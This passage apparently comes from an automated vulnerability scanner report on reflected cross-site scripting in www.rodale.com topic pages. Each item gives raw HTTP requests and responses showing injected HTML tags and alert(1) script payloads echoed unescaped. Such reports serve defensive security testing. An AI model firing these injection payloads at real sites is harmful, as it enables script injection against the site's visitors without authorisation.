Last-Modified: Thu, 10 Mar 2011 17:13:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:20 GMT
Date: Thu, 10 Mar 2011 17:13:20 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic6374e"><a>c7c5bf092c1 topic6374e">
...[SNIP]...

2.567. http://www.rodale.com/topic/grilling-tips [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/grilling-tips

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd24a"><a>7911abe092b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/grilling-tipscd24a"><a>7911abe092b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:02 GMT
Date: Thu, 10 Mar 2011 17:14:02 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-grilling-tipscd24a"><a>7911abe092b node node-958">
...[SNIP]...

2.568. http://www.rodale.com/topic/grilling-tips [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/grilling-tips

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f68d"><script>alert(1)</script>f5ae2eb2f53 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/grilling-tips?8f68d"><script>alert(1)</script>f5ae2eb2f53=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:17 GMT
Date: Thu, 10 Mar 2011 17:13:17 GMT
Content-Length: 32217
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/grilling-tips?8f68d"><script>alert(1)</script>f5ae2eb2f53=1" title="Register" class="moreLink">
...[SNIP]...

2.569. http://www.rodale.com/topic/hair-care [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hair-care

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5988c"><a>b28fd507fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5988c"><a>b28fd507fc/hair-care HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:21 GMT
Date: Thu, 10 Mar 2011 17:13:21 GMT
Content-Length: 22494
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5988c"><a>b28fd507fc topic5988c">
...[SNIP]...

2.570. http://www.rodale.com/topic/hair-care [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hair-care

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 741b9"><a>13d6d67a692 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/hair-care741b9"><a>13d6d67a692 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:54 GMT
Date: Thu, 10 Mar 2011 17:13:54 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-hair-care741b9"><a>13d6d67a692 node node-958">
...[SNIP]...

2.571. http://www.rodale.com/topic/hair-care [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/hair-care

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 304d4"><script>alert(1)</script>6362ea68cbe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/hair-care?304d4"><script>alert(1)</script>6362ea68cbe=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:18 GMT
Date: Thu, 10 Mar 2011 17:13:18 GMT
Content-Length: 29717
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/hair-care?304d4"><script>alert(1)</script>6362ea68cbe=1" title="Register" class="moreLink">
...[SNIP]...

2.572. http://www.rodale.com/topic/happiness [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/happiness

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be19e"><a>eb8851ef371 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicbe19e"><a>eb8851ef371/happiness HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:27 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:29 GMT
Date: Thu, 10 Mar 2011 17:13:29 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicbe19e"><a>eb8851ef371 topicbe19e">
...[SNIP]...

2.573. http://www.rodale.com/topic/happiness [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/happiness

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e4a3"><a>2d8e434d99f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/happiness2e4a3"><a>2d8e434d99f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:02 GMT
Date: Thu, 10 Mar 2011 17:14:02 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-happiness2e4a3"><a>2d8e434d99f node node-958">
...[SNIP]...

2.574. http://www.rodale.com/topic/happiness [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/happiness

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c54a9"><script>alert(1)</script>b9c53291777 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/happiness?c54a9"><script>alert(1)</script>b9c53291777=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:26 GMT
Date: Thu, 10 Mar 2011 17:13:26 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32967

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/happiness?c54a9"><script>alert(1)</script>b9c53291777=1" title="Register" class="moreLink">
...[SNIP]...

2.575. http://www.rodale.com/topic/headache [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/headache

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74110"><a>cf6b98ec347 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic74110"><a>cf6b98ec347/headache HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:34 GMT
Date: Thu, 10 Mar 2011 17:13:34 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic74110"><a>cf6b98ec347 topic74110">
...[SNIP]...

2.576. http://www.rodale.com/topic/headache [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/headache

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 783d0"><a>aae831b98 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/headache783d0"><a>aae831b98 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:15 GMT
Date: Thu, 10 Mar 2011 17:14:16 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-headache783d0"><a>aae831b98 node node-958">
...[SNIP]...

2.577. http://www.rodale.com/topic/headache [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/headache

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 315dc"><script>alert(1)</script>a23338a6899 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/headache?315dc"><script>alert(1)</script>a23338a6899=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:31 GMT
Date: Thu, 10 Mar 2011 17:13:31 GMT
Content-Length: 30906
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/headache?315dc"><script>alert(1)</script>a23338a6899=1" title="Register" class="moreLink">
...[SNIP]...

2.578. http://www.rodale.com/topic/health-care-industry [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-care-industry

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64b1e"><a>06ea7c4e808 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic64b1e"><a>06ea7c4e808/health-care-industry HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:33 GMT
Date: Thu, 10 Mar 2011 17:13:33 GMT
Content-Length: 22531
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic64b1e"><a>06ea7c4e808 topic64b1e">
...[SNIP]...

2.579. http://www.rodale.com/topic/health-care-industry [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-care-industry

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be53c"><a>f32fbdcbe80 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/health-care-industrybe53c"><a>f32fbdcbe80 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:18 GMT
Date: Thu, 10 Mar 2011 17:14:18 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-health-care-industrybe53c"><a>f32fbdcbe80 node node-958">
...[SNIP]...

2.580. http://www.rodale.com/topic/health-care-industry [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/health-care-industry

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b20b0"><script>alert(1)</script>311ad8adfde was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/health-care-industry?b20b0"><script>alert(1)</script>311ad8adfde=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:30 GMT
Date: Thu, 10 Mar 2011 17:13:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32992

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/health-care-industry?b20b0"><script>alert(1)</script>311ad8adfde=1" title="Register" class="moreLink">
...[SNIP]...

2.581. http://www.rodale.com/topic/health-care-reform [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-care-reform

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 921c5"><a>f2f3e1e3e83 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic921c5"><a>f2f3e1e3e83/health-care-reform HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:38 GMT
Date: Thu, 10 Mar 2011 17:13:39 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic921c5"><a>f2f3e1e3e83 topic921c5">
...[SNIP]...

2.582. http://www.rodale.com/topic/health-care-reform [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-care-reform

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb645"><a>89b10687539 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/health-care-reformfb645"><a>89b10687539 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:12 GMT
Date: Thu, 10 Mar 2011 17:14:12 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-health-care-reformfb645"><a>89b10687539 node node-958">
...[SNIP]...

2.583. http://www.rodale.com/topic/health-care-reform [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/health-care-reform

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc132"><script>alert(1)</script>c0e45c7be99 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/health-care-reform?bc132"><script>alert(1)</script>c0e45c7be99=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:36 GMT
Date: Thu, 10 Mar 2011 17:13:36 GMT
Content-Length: 31344
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/health-care-reform?bc132"><script>alert(1)</script>c0e45c7be99=1" title="Register" class="moreLink">
...[SNIP]...

2.584. http://www.rodale.com/topic/health-care-reform-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-care-reform-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69a9c"><a>2084252a880 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

